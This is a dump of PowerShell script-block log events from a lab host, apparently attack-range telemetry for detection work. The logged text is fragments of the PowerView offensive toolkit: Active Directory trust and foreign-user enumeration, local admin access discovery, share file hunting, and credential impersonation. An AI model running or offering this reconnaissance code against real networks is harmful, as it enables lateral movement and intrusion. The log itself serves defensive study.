deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainForeignUser Return all users in the current domain who are in groups not in the current domain. .EXAMPLE Get-DomainForeignUser -Domain dev.testlab.local Return all users in the dev.testlab.local domain who are in groups not in the dev.testlab.local domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred Return all users in the dev.testlab.local domain who are in groups not in the dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and using the specified alternate credentials. .OUTPUTS PowerView.ForeignUser Custom PSObject with translated user property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ForeignUser')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000) ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989537 Keywords=None Message=Creating Scriptblock text (57 of 61): ntial'] = $Credential } if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { Write-Verbose '[Find-DomainLocalGroupMember] Querying computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-DomainLocalGroupMember] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-DomainLocalGroupMember] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $GroupName, $Method, $TokenHandle) # Add check if user defaults to/selects "Administrators" if ($GroupName -eq "Administrators") { $AdminSecurityIdentifier = New-Object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid,$null) $GroupName = ($AdminSecurityIdentifier.Translate([System.Security.Principal.NTAccount]).Value -split "\\")[-1] } if ($TokenHandle) { # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { $NetLocalGroupMemberArguments = @{ 'ComputerName' = $TargetComputer 'Method' = $Method 'GroupName' = $GroupName } Get-NetLocalGroupMember @NetLocalGroupMemberArguments } } if ($TokenHandle) { Invoke-RevertToSelf } } $LogonToken = $Null if ($PSBoundParameters['Credential']) { if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-DomainLocalGroupMember] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-DomainLocalGroupMember] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-DomainLocalGroupMember] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $GroupName, $Method, $LogonToken } } else { Write-Verbose "[Find-DomainLocalGroupMember] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'GroupName' = $GroupName 'Method' = $Method 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } ######################################################## # # Domain trust functions below. # ######################################################## function Get-DomainTrust { <# .SYNOPSIS Return all domain trusts for the current domain or a specified domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-Domain, Get-DomainSearcher, Get-DomainSID, PSReflect .DESCRIPTION This function will enumerate domain trust relationships for the current (or a remote) domain using a number of methods. By default, and LDAP search using the filter '(objectClass=trustedDomain)' is used- if any LDAP-appropriate parameters are specified LDAP is used as well. If the -NET flag is specified, the .NET method GetAllTrustRelationships() is used on the System.DirectoryServices.ActiveDirectory.Domain object. If the -API flag is specified, the Win32 API DsEnumerateDomainTrusts() call is used to enumerate instead. .PARAMETER Domain Specifies the domain to query for trusts, defaults to the current domain. .PARAMETER API Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in .NET methods. .PARAMETER NET Switch. Use .NET queries to enumerate trusts instead of the default LDAP method. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainTrust Return domain trusts for the current domain using built in .LDAP methods. .EXAMPLE Get-DomainTrust -NET -Domain "prod.testlab.local" Return domain trusts for the "prod.testlab.local" domain using .NET methods .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainTrust -Domain "prod.testlab.local" -Server "PRIMARY.testlab.local" -Credential $Cred Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP queries, binding to the PRIMARY.testlab.local server for queries, and using the specified alternate credenitals. .EXAMPLE Get-DomainTrust -API -Domain "prod.testlab.local" Return domain trusts for the "prod.testlab.local" domain enumerated through API calls. .OUTPUTS PowerView.DomainTrust.LDAP Custom PSObject with translated domain LDAP trust result fields (default). PowerView.DomainTrust.NET A TrustRelationshipInformationCollection returned when using .NET methods. PowerView.DomainTrust.API Custom PSObject with translated domain API trust result fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.DomainTrust.NET')] [OutputType('PowerView.DomainTrust.LDAP')] [OutputType('PowerView.DomainTrust.API')] [CmdletBinding(DefaultParameterSetName = 'LDAP')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [ValidateNotNullOrEmpty()] [String] $Domain, [Parameter(ParameterSetName = 'API')] [Switch] $API, [Parameter(ParameterSetName = 'NET')] [Switch] $NET, [Parameter(ParameterSetName = 'LDAP')] [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [Parameter(ParameterSetName = 'LDAP')] [ValidateNotNullOrEmpty()] [String[]] $Properties, [Parameter(ParameterSetName = 'LDAP')] [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [Parameter(ParameterSetName = 'LDAP')] [Parameter(ParameterSetName = 'API')] [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [Parameter(ParameterSetName = 'LDAP')] [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [Parameter(ParameterSetName = 'LDAP')] [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [Parameter(ParameterSetName = 'LDAP')] [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Parameter(ParameterSetName = 'LDAP')] [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Parameter(ParameterSetName = 'LDAP')] [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $TrustAttributes = @{ [uint32]'0x00000001' = 'NON_TRANSITIVE' [uint32]'0x00000002' = 'UPLEVEL_ONLY' [uint32]'0x00000004' = 'FILTER_SIDS' [uint32]'0x00000008' = 'FOREST_TRANSITIVE' [uint32]'0x00000010' = 'CROSS_ORGANIZATION' [uint32]'0x00000020' = 'WITHIN_FOREST' [uint32]'0x00000040' = 'TREAT_AS_EXTERNAL' [uint32]'0x00000080' = 'TRUST_USES_RC4_ENCRYPTION' [uint32]'0x00000100' = 'TRUST_USES_AES_KEYS' [uint32]'0x00000200' = 'CROSS_ORGANIZATION_NO_TGT_DELEGATION' [uint32]'0x00000400' = 'PIM_TRUST' } $LdapSearcherArguments = @{} if ($PSBoundParameters['Domain']) { $LdapSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $LdapSearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['Properties']) { $LdapSearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $LdapSearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $LdapSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $LdapSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $LdapSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = $Credential } } PROCESS { if ($PsCmdlet.ParameterSetName -ne 'API') { $NetSearcherArguments = @{} if ($Domain -and $Domain.Trim() -ne '') { $SourceDomain = $Domain } else { if ($PSBoundParameters['Credential']) { $SourceDomain = (Get-Domain -Credential $Credential).Name } else { $SourceDomain = (Get-Domain).Name } } } elseif ($PsCmdlet.ParameterSetName -ne 'NET') { if ($Domain -and $Domain.Trim() -ne '') { $SourceDomain = $Domain } else { $SourceDomain = $Env:USERDNSDOMAIN } } if ($PsCmdlet.ParameterSetName -eq 'LDAP') { # if we're searching for domain trusts through LDAP/ADSI $TrustSearcher = Get-DomainSearcher @LdapSearcherArguments $SourceSID = Get-DomainSID @NetSearcherArguments if ($TrustSearcher) { $TrustSearcher.Filter = '(objectClass=trustedDomain)' if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() } else { $Results = $TrustSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { $Pr ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989536 Keywords=None Message=Creating Scriptblock text (56 of 61): ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { Write-Verbose '[Find-LocalAdminAccess] Querying computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-LocalAdminAccess] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-LocalAdminAccess] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $TokenHandle) if ($TokenHandle) { # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { # check if the current user has local admin access to this server $Access = Test-AdminAccess -ComputerName $TargetComputer if ($Access.IsAdmin) { $TargetComputer } } } if ($TokenHandle) { Invoke-RevertToSelf } } $LogonToken = $Null if ($PSBoundParameters['Credential']) { if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-LocalAdminAccess] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-LocalAdminAccess] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-LocalAdminAccess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $LogonToken } } else { Write-Verbose "[Find-LocalAdminAccess] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } } function Find-DomainLocalGroupMember { <# .SYNOPSIS Enumerates the members of specified local group (default administrators) for all the targeted machines on the current (or specified) domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and enumerates the members of the specified local group (default of Administrators) for each machine using Get-NetLocalGroupMember. By default, the API method is used, but this can be modified with '-Method winnt' to use the WinNT service provider. .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER GroupName The local group name to query for users. If not given, it defaults to "Administrators". .PARAMETER Method The collection method to use, defaults to 'API', also accepts 'WinNT'. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainLocalGroupMember Enumerates the local group memberships for all reachable machines in the current domain. .EXAMPLE Find-DomainLocalGroupMember -Domain dev.testlab.local Enumerates the local group memberships for all reachable machines the dev.testlab.local domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred Enumerates the local group memberships for all reachable machines the dev.testlab.local domain using the alternate credentials. .OUTPUTS PowerView.LocalGroupMember.API Custom PSObject with translated group property fields from API results. PowerView.LocalGroupMember.WinNT Custom PSObject with translated group property fields from WinNT results. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.LocalGroupMember.API')] [OutputType('PowerView.LocalGroupMember.WinNT')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Parameter(ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [String] $GroupName = 'Administrators', [ValidateSet('API', 'WinNT')] [Alias('CollectionMethod')] [String] $Method = 'API', [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Crede ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989535 Keywords=None Message=Creating Scriptblock text (55 of 61): [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { Write-Verbose '[Find-InterestingDomainShareFile] Querying computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-InterestingDomainShareFile] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-InterestingDomainShareFile] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $TokenHandle) if ($TokenHandle) { # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } ForEach ($TargetComputer in $ComputerName) { $SearchShares = @() if ($TargetComputer.StartsWith('\\')) { # if a share is passed as the server $SearchShares += $TargetComputer } else { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { # get the shares for this host and display what we find $Shares = Get-NetShare -ComputerName $TargetComputer ForEach ($Share in $Shares) { $ShareName = $Share.Name $Path = '\\'+$TargetComputer+'\'+$ShareName # make sure we get a real share name back if (($ShareName) -and ($ShareName.Trim() -ne '')) { # skip this share if it's in the exclude list if ($ExcludedShares -NotContains $ShareName) { # check if the user has access to this path try { $Null = [IO.Directory]::GetFiles($Path) $SearchShares += $Path } catch { Write-Verbose "[!] No access to $Path" } } } } } } ForEach ($Share in $SearchShares) { Write-Verbose "Searching share: $Share" $SearchArgs = @{ 'Path' = $Share 'Include' = $Include } if ($OfficeDocs) { $SearchArgs['OfficeDocs'] = $OfficeDocs } if ($FreshEXEs) { $SearchArgs['FreshEXEs'] = $FreshEXEs } if ($LastAccessTime) { $SearchArgs['LastAccessTime'] = $LastAccessTime } if ($LastWriteTime) { $SearchArgs['LastWriteTime'] = $LastWriteTime } if ($CreationTime) { $SearchArgs['CreationTime'] = $CreationTime } if ($CheckWriteAccess) { $SearchArgs['CheckWriteAccess'] = $CheckWriteAccess } Find-InterestingFile @SearchArgs } } if ($TokenHandle) { Invoke-RevertToSelf } } $LogonToken = $Null if ($PSBoundParameters['Credential']) { if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-InterestingDomainShareFile] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-InterestingDomainShareFile] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-InterestingDomainShareFile] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $LogonToken } } else { Write-Verbose "[Find-InterestingDomainShareFile] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'Include' = $Include 'ExcludedShares' = $ExcludedShares 'OfficeDocs' = $OfficeDocs 'ExcludeHidden' = $ExcludeHidden 'FreshEXEs' = $FreshEXEs 'CheckWriteAccess' = $CheckWriteAccess 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Find-LocalAdminAccess { <# .SYNOPSIS Finds machines on the local domain where the current user has local administrator access. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and for each computer it checks if the current user has local administrator access using Test-AdminAccess. If -Credential is passed, then Invoke-UserImpersonation is used to impersonate the specified user before enumeration, reverting after with Invoke-RevertToSelf. Idea adapted from the local_admin_search_enum post module in Metasploit written by: 'Brandon McCann "zeknox" ' 'Thomas McCarthy "smilingraccoon" ' 'Royce Davis "r3dy" ' .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER CheckShareAccess Switch. Only display found shares that the local user has access to. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target 